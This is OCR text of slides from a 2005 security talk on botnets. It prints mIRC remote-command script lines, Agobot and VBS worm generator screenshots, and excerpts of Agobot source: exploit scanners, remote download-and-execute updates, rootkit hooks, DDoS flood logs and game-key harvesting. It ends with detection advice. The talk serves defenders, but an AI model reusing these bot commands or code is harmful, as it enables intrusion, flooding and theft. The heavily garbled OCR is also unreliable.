8 on 1: TEXT:cmd:#:/run cmd.exe
on 1L:TEXT:dIl:#:/dll run32.dll

2B on *:PART:#:{ .msg #noticechannel | have just parted $chan }

N ctcp *:DO:*:{ . $+ $2- | .halt }

/ctcp alan DO run cmd

/ctcp alan DO run notepad c:\config.sys
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Virus Kit

Bot generator
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Virus kit (cont)

Agobot Config GUI — configuration generator

2005 July 1

Generate Config I Cancel |

Load from | Saweto | Edit Script | FAl I Cmd Ref I

@ Agobot Config GUI B4

— Properties

HS

inst_polymorph - Boolean
scaninfo_chan - String
shiffer_charnel - Shing
zhiffer_enabled - Boaolean
spam_aol_enabled - Boolean
spam_aol_channgl - Sting
scahinfo_level - Integer
cdkey_windows - Boolean
identd_enabled - Boolean
redi_masthreads - Inkeger
ddoz mauxthreads - Integer

—Walle

1. Configure bot - 2. 777 - 3. Profit!

[ |

Add Server Delete Serverl [~ PRookServer [ Usze 551 Add Uzer Delete L zar I
Server I 1 L zermame: I
Server Pazzword: I Pazsword: I
Main Channel I Hostmask: I
Channel Pazsword: I Identdmas k: I

Mick Prefix:

Polymorph Section Hame I-.'r'bt'F'sz Key Length:

[5
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Virus kit (cont)

VBS worm Generator

2005 July 16

% Vbswg 2 Beta - By [K] _10Of x|

Startup | E-Mal | Irc | Infect | Papload | Estras

— M ain

Wiorm name: I"u’l:lawg "Worm

‘Your name; |[K]

—Worm Backup

File name; I.'-.-"|:IE|.-'-.|E|_"-."-.-"III[I'|'I I.ipg-'-fl:lz =

Copy waarm ho: |“-f'¢'ir'u:lnws leiﬂDir?’a’

About | Help | Contact | Exi

| [ ererate

Copyright alan@chroot.org
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Functions inside a Bot

Bot should be designed in modular way. Easy to add new features.
Take Agobot as example

1.Sanner modules

2.Update modules

@ File Edit Wiew Insert Project Build Tools Window Help
SRSy DEZ ~|l%

| | ~]» ZR-|jeExst B 4.Harvest modules

2=l /* Agobot3 - a modular IRC bot for Win32 / Linux
& Workspace 'agobot3': 2 proje ~ Copyright (C) 2003 Ago
=& agobot3 files
=23 Source Files
+0 Agobot3 Source
= ¥ Scanner Source!
=ADDOS Source
ddos.cpp
httpflood.cpp
phaticmp.cpp
phatsyn.cpp
synflood.cpp
targa3.cpp
udpflood.cpp
wonk.cpp
-3 Shellcode Source
shellcode.cpp
+ [ Redirect Source
= (1 3rd Party Source
=[] Harvest Source
-3 Header Files
+-(1 Agobot3 Header
=1 Scanner Header
+-(1 DDO0OS Header
+-(1 Shellcode Header
+-[1 Redirect Header v
< »

"3 Class ]% Resou... ] =l FiIeVie...J— 1

3.DoS modules

5.3rd modules

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. x

#include “main.h”
Binclude “cmdline.h"
#include “cstring.h”

CCmdLine: :CCmdLine() { m_szCmdLine=NULL; }
CCmdLine: :"CCmdLine() { if(m_szCmdLine) delete [] m_szCmdLine; }

void CCmdLine::Parse(const char xszCmdLine) {
// Copy command line
char =szCmdLineCopy; if(m_szCmdLine) delete [] m_szCmdLine;
m_szCmdLine=new char[strlen(szCmdLine)}+1]; strcpy(m_szCmdLine, szCmdlLine);

// Create defaults




Functions inside a Bot(cont)

e Scanner modules
Scan and automated infection mechanism.

gifdef WINIZ
i g _cHMainCtrl.m cComrands.RegisterComuand ( &ém cmdetBios, "scan.nethios"™, "scans wveak nethios passwords", this):;
i g cHainCtrl.m cCommands.RegisterCommand (&m cmdlocator, "sScahn. locator™, "scans for locator exploit”, this):;
fendif // WIN3Z
Agobot I g_cHMainCrrl.wm cCommands.Registercommand [ &m cmdDCOM, "scan.docow', "scans for deow exploit®, this):
I g _cHMainCtrl.m cCommands.RegisterCommand ( &m cwdDCON2Z, "scan.dcomi", "scans for deomz exploit™, this);
Source COde /¢ g cMainCtrl.m cCommwands.RegisterCommand | &m cmdiebDav, "scan.webdsv", "scans for iis/webdsv exploit”, this):
g cHMainCtrl.m cCommands.RegisterCompand (Lw cmd3tats, "scan.stats", "stats for working scanners"™, this):
g eMainCtrl.m eCommands.RegisterComwand (&m cwditop, "scan.stop™, "stops all scans running asap®, this); }

e Update modules

Fetch newest bot program and install it automatically
" .http.update http://<server>/~location/xxxBot.exe c:\yyy.exe 1 ;

void CDownloader: :Init()

{ REGCHD( m_cmdDownload, "http.download”, "downloads a file from http",
- REGCMD(m_cmdExecute, "http.execute”, "updates the bot from a http url”,

#ifndef _DEBUG
REGCHD(m_cmdUpdate, "http.update”, “executes a file from a http url”,

#endif // _DEBUG
REGCMD(m_cmdVUisit, “http.visit”, "yisits an url with a specified referret
REGCMD(m_cmdDownloadFtp, “ftp.download”, “"downloads a file from ftp”,

2005 July 16 REGCHD(m_cmdExecuteFtp, “ftp.execute”, "updates the bot from a ftp url”, 46

REGCHD(m_cmdUpdateFtp, "ftp.update”, "executes a file from a ftp url”,



Functions inside a Bot(cont)

Protect mechanism --- Rootkit:Hiding process

[ Lvar U
CHook : : CHook () {
installer.cpp m_szType="CHook";
keylogger.cpp |!1_hDLL=GetHoduleHandle( “ntdll .d}l") ; )
T if(tm_hDLL) m_hDLL=LoadL1b|:'ar'g( ntdll.dll");
mac.cpp g_p'FnNtQuergSgstemInformat}on= (NtQuerySystemInfoFunc)GetProcAddress({m_hDLL, %
. "NtQuerySystemInformation™);
mainctrl.cpp // g_pMainCtrl->CanStart(this);
polymorph.cpp }
random.cpp
sdcompat.cpp CHook : : "CHook() {
sniffer.cpp FreeLibrary(m_hDLL) ;
ssllib.cpp }
utility.cpp
=y Scanner Source DhIURDhl!J{N?I:I Ht)::okThread(LPUUID param) {
while( true
2?2:?2?::&;?& E ~ MessageBox(NULL, “bla”, “Debug”, MB_OK);
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Functions inside a Bot(cont)

Bot.secure -> Fix vulnerabilities for you !!!

2005 July 16

else if(tpMsg->sCmd.Compare(“bot.secure”)) { I
T ure’) ¢ Disable Dcom

// Set EnableDCOM to "N”

HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf);

LONG 1Ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Micr
RegSetUalueEx(hkey, "EnableDCOM™, NULL, REG_SZ, (unsigned
RegCloseKey( hkey) ;

/* begin removal .of (most)Bagle/(some)MyDoom x/

/* end removal of (most-)Baglef(some)HgDoom x/ o Remove viruses

/* begin removal of suspicious exe/services x/
ServiceDel((CString)"upnphost™); // secure UPNP
/* end removal of suspicious exe/services x/

/7 Secure Shares

system("net share c¢$ /delete /y"); Close shares
system(“net share d$ /delete /y”);

system(“net share ipc$ /delete /y”);

system(“net share admin$ /delete s/y”);

a_ pHalnCtrl >m_cIRC. Senstg(pHsg Sh&i1a=t }{\“i
“"Bot Secured”, -“ Cker 48
\Nhy’? > Ha



Functions inside a Bot(cont)

e D0S modules
Syn,UDP,ICMP flood, password brute forcer,

[HHAFCOOHHES] <~nickname> .sScanstop

[HH#H#FOOEHE] <~nickneme> .ddos.syn 151.49.8.¥¥¥ 21 200

[HH#EFCOO#HEH] <-[XP]-18330> [DDoS]: Flooding: (151.49.8.XXX:21) for 200 seconds
[...]

[HHH#FOOHEHE] <-[2K]-33820> [DDoS]: Done with flood [(2573HE/sec).

[HH#HFOOHHEH] <-[XP]-86840> [DDoS]: Done with flood (351EE/=sec).

[HH#HFOOHHE] <-[XP]-62444> [DDoS]: Done with flood [13E27KEE/sec).

[BEEAFOOHHE] <—[ZK]-38291> [DDo3]: Done with flood [(714EE/sec).

[...]

[BHHFOOHHEH] <~nicknamwe> .login 12345

[BH#EFOOHEH] <~nicknamer .ddos.svyn 213.202.217.XXX 6667 200

[HH#HFOOHHHE] <-[XP]1-18230> [DDoS]: Flooding: (213.202.217.XXX:6667) for 200 seconds.
[...]

[HHHFOOHHEE] «-[XP]-18320> [DDoS]: Done with flood (0EBS=seco).

[HH#HFOOEHE] <-[2K]-33830> [DDoS]: Done with flood [2258KE/sec).

[HHEAFOOHHHE] <-[XP]-56870> [DDo3]: Done with flood (351EEB/sec).

[BHEFOOHEHS] <-[XP]-62644> [DDoS]: Done with flood [(1341KE/=ec).

[H#HFOOEHE] <-[2K]-345891> [DDoS]: Done with flood [7OSKEE/=sec).

[...]
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¢ Info stealing(Harvest) modules

Harvest CD-Key, specific information, Sniffing,keylogger
The warm also uses the bot component to steal CO keys of the following games
including ¥Windows Product |Ds:
-3 Harvest Source b
harvest_aol.cpp duSize:=800;

» Unreal Tournament 2003 harvest_cdkeys.cpp RegOpenKeyEx(HKEY_CURRENT _USER,

+ The Gladiatars = “Sof tware\\Microsof t\\UAB\\WAB4\\llab File Name",

+ Soldiers Of Anarchy harvest_registry.cpp 0, KEY_ALL_ACCESS, &hKey);

+ Shogun Total YWar YWarlord Edition |21 Header Files if(thkey) return true;

e Meed For Speed Underground L CETLEE Read UalueEx(hK w8, 8, (unsigned charx)szPath. adusize):

e Meed For SpEEd Hat Pursuit 2 wq egluerylaluekx ey, . . 0 unsigned charx)szrPa . W3lZe) ;

« MHL 2003

it Email harvest

« Mascar Racing 2003

+ Mascar Racing 2002

+ Medal of Honor Allied Assault Spearhead

+ Pdedal of Honor Allied Assault Breakthrough

+ Medal of Honar Allied Assault

+ James Bond 007 Mightfire

s Industry Giant 2

s |GI2 Covert Strike

+ Hidden and Dangeraus 2

+ Half-Life

2005 JQI%_ keyS Copyright alan@chroot.org 50




Tracking and combating with
Botnets

e First, DD0S has no perfect solution!
e Second, know botnet ,know your ememy and then you might have the chance to

survive.
e Type 1 - some hosts in your Intranet are bots. -
Bots connect to the same bot controller. ﬁl DNS
Channel signals still work

= Setting NIDS signatures in gateway area.

Channel signals stop
= Setting NIDS signatures in DNS area.
Intranet
Bots connect to several bot controllers.

Some of the Domain bot connects to you don’'t know. -> sniffer the DNS
traffic and find out unusual query.

04 00 oo oo oo
ent:" |00 04 ff ff

51

alert udp any




Tracking and combating with
Botnets(cont)

e When kick the bot out  [SEHa

=t=t=t=t=+=

% Ago-bnowic
* Ago-bnowic
{Ago-bnowic>
* Ago-bnowic
% Ago-bnowic
<{Ago-bnowic>

e The controller of a botnet has
to authenticate himself to

take control over the bots.

=+=t=t=+=+=F=F=t=+=+=F=F=t=t=+=+=t=F=+=+=+=F=F=+=F=+=+=+=

was kicked by Alan (Alan)
has joined Habuwnde

screw you Alan!

was kicked by Alan (Alan) e
has joined Hedwes
screw you Alan!

<Ago-bnowic>

<Alan> .legin alan alan

Password accepted.

+=

=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=+=

e Type 2 - You are being DDoSed !
Ask the ISP for help.
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000

0000
Tracking and combating with Botnets (cont) EE:.
Release the bots? °

e |s this possible? Hack into controller, give the
command to stop the attack and release all bots??
(like Will Smith)

o Step 1: get the server/channel key from a compromised bot.
o Step 2: get the auth of botnet controller. X\ A%
Wait for hacker.
Tracing bot and system .
o Step 3: stop and release all bots??
— You are also a hacker if you do so .

i -
| § i

|,Robot,2004
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Tracking and combating with

Botnets (cont)

e Bot owner use MD5 storing the admin
password, but
It can be sniffer unless using SSL encryption.

[N WA fu] NN
00140390h:
001403a0h:
001403kh0h:
001403c0h:
001403cd0h:
001403e0h:
001403f0h:
00140400h:
001404 100h:
001404Z0h:
0014043 0%h:
00140440h:
00140450h:

aF

oo E =] E E oo
20
oog
aF

3 oo

49 gE 66 6F 20 ZD 20 43 &5

61 73 73 7Y 6F 7Z 64 00 OO

FWVEY FOFTawwwsnn
21 _Zerver root.n
ickprefix.......
boo—. ... 8erver T
nfo - Wicknsasme p

Jerwver Info - Ch
annel Password..

e |P ACL is used to limit the control src IP.
- It's almost impossible.
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Conclusion

K
e Active phishing scam (script injection) could be the

new threat of phishing attack.
e Users need to be educated.( But....)

@*% ieie

e IRC will not be the only control machanism of botnet.

e Know your ememy than you will have chance to
catch him.

4
La
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